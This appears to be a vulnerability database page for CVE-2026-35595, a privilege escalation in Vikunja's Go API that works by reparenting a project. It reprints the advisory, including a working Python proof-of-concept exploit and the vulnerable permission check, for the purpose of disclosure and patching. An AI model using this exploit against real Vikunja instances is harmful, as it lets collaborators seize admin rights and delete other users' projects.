CVE-2026-35595: Code.vikunja.io/api Vikunja Vulnerable To Privilege Escalation Vulnerability

HIGH
Advisory Identifier: GHSA-2vq4-854f-5c72
Share
CVSS 8.3
CWE-269
Published
Advisory Summary

CVE-2026-35595 is a HIGH (CVSS 8.3) vikunja vulnerable to privilege escalation vulnerability (CWE-269: Improper Privilege Management) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja vulnerable to privilege escalation via project reparenting. Remediation is available by upgrading affected packages to version 2.3.0.

CVE-2026-35595 at a Glance

CVE Identifier CVE-2026-35595
GHSA Identifier GHSA-2vq4-854f-5c72
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-269: Improper Privilege Management
Affected Product Code.vikunja.io/api
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-35595

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.3.0 
Upgrade code.vikunja.io/api to 2.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35595, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-269: Improper Privilege Management, where the product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access. ## Details The `CanUpdate` check at `pkg/models/project_permissions.go:139-148` only requires `CanWrite` on the new parent project when changing `parent_project_id`. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain. When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project. ```go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } } ``` ## Proof of Concept Tested on Vikunja v2.2.2. ``` 1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parent_project_id":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404. ``` ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victim_token = login("victim", "Victim123!") attacker_token = login("attacker", "Attacker123!") # victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victim_token), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victim_token), json={"title": "Secret Child", "parent_project_id": parent["id"]}).json() # victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victim_token), json={"username": "attacker", "permission": 1}) # attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attacker_token), json={"title": "Attacker Root"}).json() # before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token)) print(f"DELETE before reparent: {r.status_code}") # 403 # exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attacker_token), json={"title": "Secret Child", "parent_project_id": own["id"]}) print(f"Reparent: {r.status_code}") # 200 # after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attacker_token)) print(f"DELETE after reparent: {r.status_code}") # 200 - escalated to Admin # victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victim_token)) print(f"Victim access: {r.status_code}") # 404 - project gone ``` Output: ``` DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404 ``` The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project. ## Impact Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators. ## Recommended Fix Require Admin permission instead of Write when changing `parent_project_id`: ```go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } } ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

CVE-2026-35595 Affected Code.vikunja.io/api Versions

1 component(s)
Fixed Versions:
2.3.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
golang/code.vikunja.io/api
Go
< 2.3.0
2.3.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72
NVD — CVE-2026-35595 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-35595
Code.vikunja.io/api Source Repository REPOSITORY
https://github.com/go-vikunja/vikunja/pull/2583
Security Fix Commit FIX COMMIT
https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827
Code.vikunja.io/api Source Repository REPOSITORY
https://github.com/go-vikunja/vikunja
Code.vikunja.io/api Release RELEASE
https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0

Frequently Asked Questions

What is CVE-2026-35595?
CVE-2026-35595 is a security vulnerability in Code.vikunja.io/api involving Vikunja vulnerable to Privilege Escalation via Project Reparenting under CWE-269: Improper Privilege Management.
Which Code.vikunja.io/api versions are affected?
Affected versions include releases prior to 2.3.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-35595?
Upgrading to 2.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.3.0. Upgrade your dependency to 2.3.0 or later.
What is the CVSS score of CVE-2026-35595?
CVE-2026-35595 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-35595?
CVE-2026-35595 is classified under CWE-269: Improper Privilege Management (The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.).
How can I check Go dependencies for CVE-2026-35595?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2vq4-854f-5c72",
  "modified" : "2026-06-08T20:08:25Z",
  "published" : "2026-04-10T15:33:50Z",
  "aliases" : [ "CVE-2026-35595" ],
  "summary" : "Vikunja vulnerable to Privilege Escalation via Project Reparenting",
  "details" : "## Summary\n\nA user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.\n\n## Details\n\nThe `CanUpdate` check at `pkg/models/project_permissions.go:139-148` only requires `CanWrite` on the new parent project when changing `parent_project_id`. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.\n\nWhen a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.\n\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    newProject := &Project{ID: p.ParentProjectID}\n    can, err := newProject.CanWrite(s, a)  // Only checks Write, not Admin\n    if err != nil {\n        return false, err\n    }\n    if !can {\n        return false, ErrGenericForbidden{}\n    }\n}\n```\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```\n1. victim creates \"Parent Project\" (id=3)\n2. victim creates \"Secret Child\" (id=4) under Parent Project\n3. victim shares Parent Project with attacker at Write level (permission=1)\n   -> attacker inherits Write on Secret Child (no direct share)\n4. attacker creates own \"Attacker Root\" project (id=5)\n5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden\n6. attacker sends: POST /api/v1/projects/4 {\"title\":\"Secret Child\",\"parent_project_id\":5}\n   -> 200 OK (reparenting succeeds, only requires Write)\n7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK\n   -> Project deleted. victim gets 404.\n```\n\n```python                                                                                                                                                                                                                                                                                                        \nimport requests                                                                                                                                                                                                                                                                                                    \n                                                                                                                                                                                                                                                                                                                \nTARGET = \"http://localhost:3456\"                                                                                                                                                                                                                                                                                 \nAPI = f\"{TARGET}/api/v1\"  \n                                        \ndef login(u, p):                     \n    return requests.post(f\"{API}/login\", json={\"username\": u, \"password\": p}).json()[\"token\"]\n                                        \ndef h(token):  \n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n                                                                                                                                                                                                                                                                                                                    \nvictim_token = login(\"victim\", \"Victim123!\")\nattacker_token = login(\"attacker\", \"Attacker123!\")                                                                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                                                                                                \n# victim creates parent -> child project hierarchy                                                                                                                                                                                                                                                               \nparent = requests.put(f\"{API}/projects\", headers=h(victim_token),\n                    json={\"title\": \"Parent Project\"}).json()\nchild = requests.put(f\"{API}/projects\", headers=h(victim_token),\n                    json={\"title\": \"Secret Child\", \"parent_project_id\": parent[\"id\"]}).json()\n\n# victim shares parent with attacker at Write (attacker inherits Write on child)\nrequests.put(f\"{API}/projects/{parent['id']}/users\", headers=h(victim_token),\n            json={\"username\": \"attacker\", \"permission\": 1})\n\n# attacker creates own root project\nown = requests.put(f\"{API}/projects\", headers=h(attacker_token),\n                    json={\"title\": \"Attacker Root\"}).json()\n\n# before: attacker cannot delete child\nr = requests.delete(f\"{API}/projects/{child['id']}\", headers=h(attacker_token))\nprint(f\"DELETE before reparent: {r.status_code}\")  # 403\n\n# exploit: reparent child under attacker's project\nr = requests.post(f\"{API}/projects/{child['id']}\", headers=h(attacker_token),\n                json={\"title\": \"Secret Child\", \"parent_project_id\": own[\"id\"]})\nprint(f\"Reparent: {r.status_code}\")  # 200\n\n# after: attacker can now delete child\nr = requests.delete(f\"{API}/projects/{child['id']}\", headers=h(attacker_token))\nprint(f\"DELETE after reparent: {r.status_code}\")  # 200 - escalated to Admin\n\n# victim lost access\nr = requests.get(f\"{API}/projects/{child['id']}\", headers=h(victim_token))\nprint(f\"Victim access: {r.status_code}\")  # 404 - project gone\n```\n\nOutput:\n```\nDELETE before reparent: 403\nReparent: 200\nDELETE after reparent: 200\nVictim access: 404\n```\n\nThe attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.\n\n## Impact\n\nAny user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.\n\n## Recommended Fix\n\nRequire Admin permission instead of Write when changing `parent_project_id`:\n\n```go\nif p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID {\n    newProject := &Project{ID: p.ParentProjectID}\n    can, err := newProject.IsAdmin(s, a)\n    if err != nil {\n        return false, err\n    }\n    if !can {\n        return false, ErrGenericForbidden{}\n    }\n    canAdmin, err := p.IsAdmin(s, a)\n    if err != nil {\n        return false, err\n    }\n    if !canAdmin {\n        return false, ErrGenericForbidden{}\n    }\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2vq4-854f-5c72"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35595"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/2583"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/c03d682f48aff890eeb3c8b41d38226069722827"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-269" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T15:33:50Z",
    "nvd_published_at" : "2026-04-10T17:17:02Z"
  }
}